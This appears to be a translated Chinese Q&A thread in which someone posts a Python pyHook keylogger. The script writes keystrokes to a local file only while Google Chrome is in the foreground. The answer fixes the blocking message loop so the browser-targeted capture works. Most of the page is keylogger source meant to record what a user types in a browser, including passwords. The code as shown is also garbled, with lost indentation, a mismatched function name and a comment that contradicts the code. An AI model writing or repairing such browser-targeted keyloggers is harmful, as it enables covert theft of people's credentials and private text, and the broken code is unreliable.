特定应用程序的Python键盘记录器

Question

我用python创建了一个简单的键盘记录器，但我希望它只在googlechrome是前台应用程序的情况下运行（我的意思是，只有当用户在googlechrome中时，键盘记录器才会钩住。如果用户离开Chrome，键盘记录器将停止运行，以此类推。）当用户第一次进入Chrome时，它会正常工作，但是如果前台应用程序已切换到另一个应用程序，键盘记录器将继续运行。我发现问题在于：pythoncom。Pupmessages(). 代码在这行之后永远不会继续。有人有办法吗？在

import win32gui
import win32con
import time
import pyHook
import pythoncom
import threading

LOG_FILE = "D:\\Log File.txt"

def OnkeyboardEvent(event): # on key pressed function
if event.Ascii:
f = open(LOG_FILE,"a") # (open log_file in append mode)
char = chr(event.Ascii) # (insert real char in variable)
if char == "'": # (if char is q)
f.close() # (close and save log file)
exit() # (exit program)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
f.write(char) # (write char)

def main():
time.sleep(2)
hooks = pyHook.HookManager()
# Finding the Foreground Application at every moment.
while True:
time.sleep(0.5)
newWindowTile = win32gui.GetWindowText(win32gui.GetForegroundWindow())
print newWindowTile
# Cheking if google chrome is running in the foreground.
if 'Google Chrome?' in newWindowTile:
hooks.KeyDown = OnKeyboardEvent
hooks.HookKeyboard()
pythoncom.PumpMessages()
time.sleep(2)
if __name__ == "__main__":
main()

Answer 1

您需要使用没有阻塞的pythoncom.PumpWaitingMessages()。 pc.PumpWaitingMessages()

这应该可以修复代码不再继续。在

PumpWaitingMessages: Pumps all waiting messages for the current thread.

PumpMessages: Pumps all messages for the current thread until a WM_QUIT message.

来源：Pythoncom documentation